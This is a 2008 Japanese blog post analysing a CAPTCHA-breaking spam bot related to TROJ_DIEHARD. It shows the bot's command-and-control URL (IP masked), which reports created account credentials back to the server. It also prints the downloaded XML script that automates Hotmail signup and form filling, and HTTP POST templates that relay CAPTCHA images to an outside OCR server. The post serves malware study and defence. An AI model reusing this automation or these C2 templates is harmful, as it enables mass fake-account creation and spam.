cNotes 検索 一覧 カテゴリ

別のspam bot

Published: 2008/07/02

今年の2月ごろから観測されているspam botのひとつですが、以前書いたCAPTCHA破りタイプのボットが微妙な改良が施されて今現在も観測され続けています。TROJ_DIEHARDの仲間。

特徴としては

 http://xxx.xxx.xxx.xxx:3078/?bot_id=0&mode=1 

のようなリクエストを送信してxmlファイルをダウンロードします。(サーバーのポート番号は時期によって変わります。)

bot_idとmodeの値はいろいろ変わるようです。modeは0、1、2とあります。よーく見ると、

mode=0,1は、アカウント作成の前に使用されますが、0と1の差分が不明です。

mode=2は作成したメールアカウントとパスワードを送信する機能のようです。

このURLにアクセスするとこのような画面が見えます。

「Campaignは」は時期とbot_idにより変化するようですが、中身が大きく変わることはないです。変わるのは先頭行に表示されるアカウント情報のようなものだけ。xmlファイルはこんな感じ。

 <szXML>
      <SCID>1100000</SCID>
      <Cookie>*@live[*</Cookie>
      <Cookie>*.live[*</Cookie>
      <Cookie>*hotmail*</Cookie>
      <Cookie>*@msn[*</Cookie>
      <Cookie>*.msn[*</Cookie>
      <Cookie>*@msnaccountservices.*</Cookie>
      <Cookie>*@atdmt[*</Cookie>
      <Cookie>*@advertising[*</Cookie>
      <Cookie>*msnportal*</Cookie>
      <Cookie>*pointroll[*</Cookie>
      <Cookie>*doubleclick[*</Cookie>
      <scriptRegAcc>
        <Navigate>http://get.live.com/mail/overview</Navigate>
        <WaitAnyPagesWithText>
          <Debug>2, fail wait page with GetFree button</Debug>
          <Text>OmnitureInterface.buttonNotification</Text>
        </WaitAnyPagesWithText>
        
        <!--button get free-->
        <ToLink>
          <Debug>3, fail click GetFree button</Debug>
          <TagName>a</TagName>
          <outerHTML>OmnitureInterface.buttonNotification</outerHTML>
        </ToLink>
        <WaitAnyPagesWithText>
          <Debug>4, fail wait reg page</Debug>
          <Text>join.msn.com</Text>
          <Text>signup.live.com</Text>
          <Text>logout.aspx</Text>
        </WaitAnyPagesWithText>
        <!--LOG OUT-->
        <If_ValidateInBodyHTML>logout.aspx</If_ValidateInBodyHTML>
        <Then_ToLink>
          <TagName>a</TagName>
          <outerHTML>logout.aspx</outerHTML>
        </Then_ToLink>
        <WaitAnyPagesWithText>
          <Debug>14, fail wait reg page after logout</Debug>
          <Text>join.msn.com</Text>
          <Text>signup.live.com</Text>
        </WaitAnyPagesWithText>
     <!--button get free-->
        <ToLink>
          <Debug>3, fail click GetFree button</Debug>
          <TagName>a</TagName>
          <outerHTML>OmnitureInterface.buttonNotification</outerHTML>
        </ToLink>
        <WaitAnyPagesWithText>
          <Debug>4, fail wait reg page</Debug>
          <Text>join.msn.com</Text>
          <Text>signup.live.com</Text>
          <Text>logout.aspx</Text>
        </WaitAnyPagesWithText>
        <!--LOG OUT-->
        <If_ValidateInBodyHTML>logout.aspx</If_ValidateInBodyHTML>
        <Then_ToLink>
          <TagName>a</TagName>
          <outerHTML>logout.aspx</outerHTML>
        </Then_ToLink>
        <WaitAnyPagesWithText>
          <Debug>14, fail wait reg page after logout</Debug>
          <Text>join.msn.com</Text>
          <Text>signup.live.com</Text>
        </WaitAnyPagesWithText>
        <!--To english page registration-->
        <Navigate>https://signup.live.com/newuserdl.aspx?mkt=en-us&revipc=US&ru=http://mail.live.com/?newuser=yes&rx=http://get.live.com/mail/options&rollrs=04&lic=1</Navigate>
        <WaitAnyPagesWithText>
          <Debug>5, fail wait English reg page</Debug>
          <Text>submitForCP</Text>
          <Text>reg</Text>
          <Text>logout.aspx</Text>
        </WaitAnyPagesWithText>
        <!--LOG OUT-->
        <!--CAPTCHA start-->
        <DetectDefenceCaptcha>
          <Hotmail/>
          <Identity>hipImageDirect.srf?</Identity>
          <TagName>img</TagName>
          <SignatInSrc>hipImageDirect.srf?</SignatInSrc>
        </DetectDefenceCaptcha>
 
        <!--LOGIN-->
        <AttrFillForm>
          <AttrName>id</AttrName>
          <AttrValueNI>imembername</AttrValueNI>
          <LoginValueForFill/>
        </AttrFillForm>
        <AttrSelect>
          <AttrName>id</AttrName>
          <AttrValueNI>idomain</AttrValueNI>
          <AttrSelValueNI>hotmail.com</AttrSelValueNI>
        </AttrSelect>
  
        <!--password-->
        <AttrFillForm>
          <AttrName>id</AttrName>
          <AttrValueNI>iPwd</AttrValueNI>
          <PasswordValueForFill/>
        </AttrFillForm>
        <AttrFillForm>
          <AttrName>id</AttrName>
          <AttrValueNI>iRetypePwd</AttrValueNI>
          <PasswordValueForFill/>
        </AttrFillForm>
  
        <!--Security Question-->
        <AttrSelect>
          <AttrName>id</AttrName>
          <AttrValueNI>iSQ</AttrValueNI>
          <NumbSelRndFromOneTo>6</NumbSelRndFromOneTo>
        </AttrSelect>
        <AttrFillForm>
          <AttrName>id</AttrName>
          <AttrValueNI>iSA</AttrValueNI>
          <AnswValueForFill/>
        </AttrFillForm>
      <!--Anketa-->

このボットはこの後live mailのアカウント作成およびスパム送信を始めます。xmlの使われ方が今一不明ですが、実は必要な情報はボット自身に内蔵されています。

  "http://xxx.xxx.xxx.xxx/?bot_id=0&mode=1"
  "William"
  "Armstrong"
  "http://get.live.com/mail/overview"
  "https://signup.live.com/newuserdl.aAspx?mkt=en-us&revipc=US&ru=http://mail.live.com/?newuser=yes&rx=http://get.live.com/mail/options&rollrs=04&lic=1"
  "iGenderMale"
  "iGenderMale"
  "submitForCP()"
  "btnClassic"
  "logout.aspx"
  "logout.aspx"
  "Drafts"
  "hipImageDirect.srf?"
  "Windows Live Hotmail - Microsoft Internet Explorer"
  "ipc=US&ru=http://mail.live.com/?newuser=yes& - Microsoft Internet Explorer"
  "<szXML>\r\n      <SCID>1100000</SCID>\r\n      <Cookie>*@live[*</Cookie>\r\n      <Cookie>*.live[*</Cookie>\r\n      

…CATCHAの外部のサーバーに飛ばして結果をもらうための情報もボット自身に内蔵されていたりします。

 "POST /ocr_id.cgi HTTP/1.1\r\nTE: deflate,gzip;q=0.3\r\nConnection: TE,  close\r\nHost: xxx.xxx.xxx.xxx:3128\r\nUser-Agent: libwww-perl/5.68\r\nContent-
 Length: %d\r\nContent-Type: multipart/form-data; boundary=xYzZY\r\n\r\n--
 xYzZY\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n5\r\n-- 
 xYzZY\r\nContent-Disposition: form-data; name=\"pic\"; filename=\"%
 s\"\r\nContent-Length: %d\r\nContent-Type: image/jpeg\r\n\r\n"
  "POST /ocr_proxy/ocr_proxy_1.php HTTP/1.1\r\nAccept: image/gif, image/x-
 xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, 
 application/x-icq, application/vnd.ms-excel, application/vnd.ms-powerpoint, 
 application/msword, */*\r\nAccept-Language: ru\r\nContent-Type: application/x-
 www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: 
 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 
 1.1.4322; .NET CLR 2.0.50727)\r\nHost: xxx.xxx.xxx.xxx\r\nContent-Length: %
 d\r\nConnection: Keep-Alive\r\nCache-Control: no-
 cache\r\n\r\naction=recognize&pass=%s&file="
 :
 :
 :

[カテゴリ:botnet観察日記]

by jyake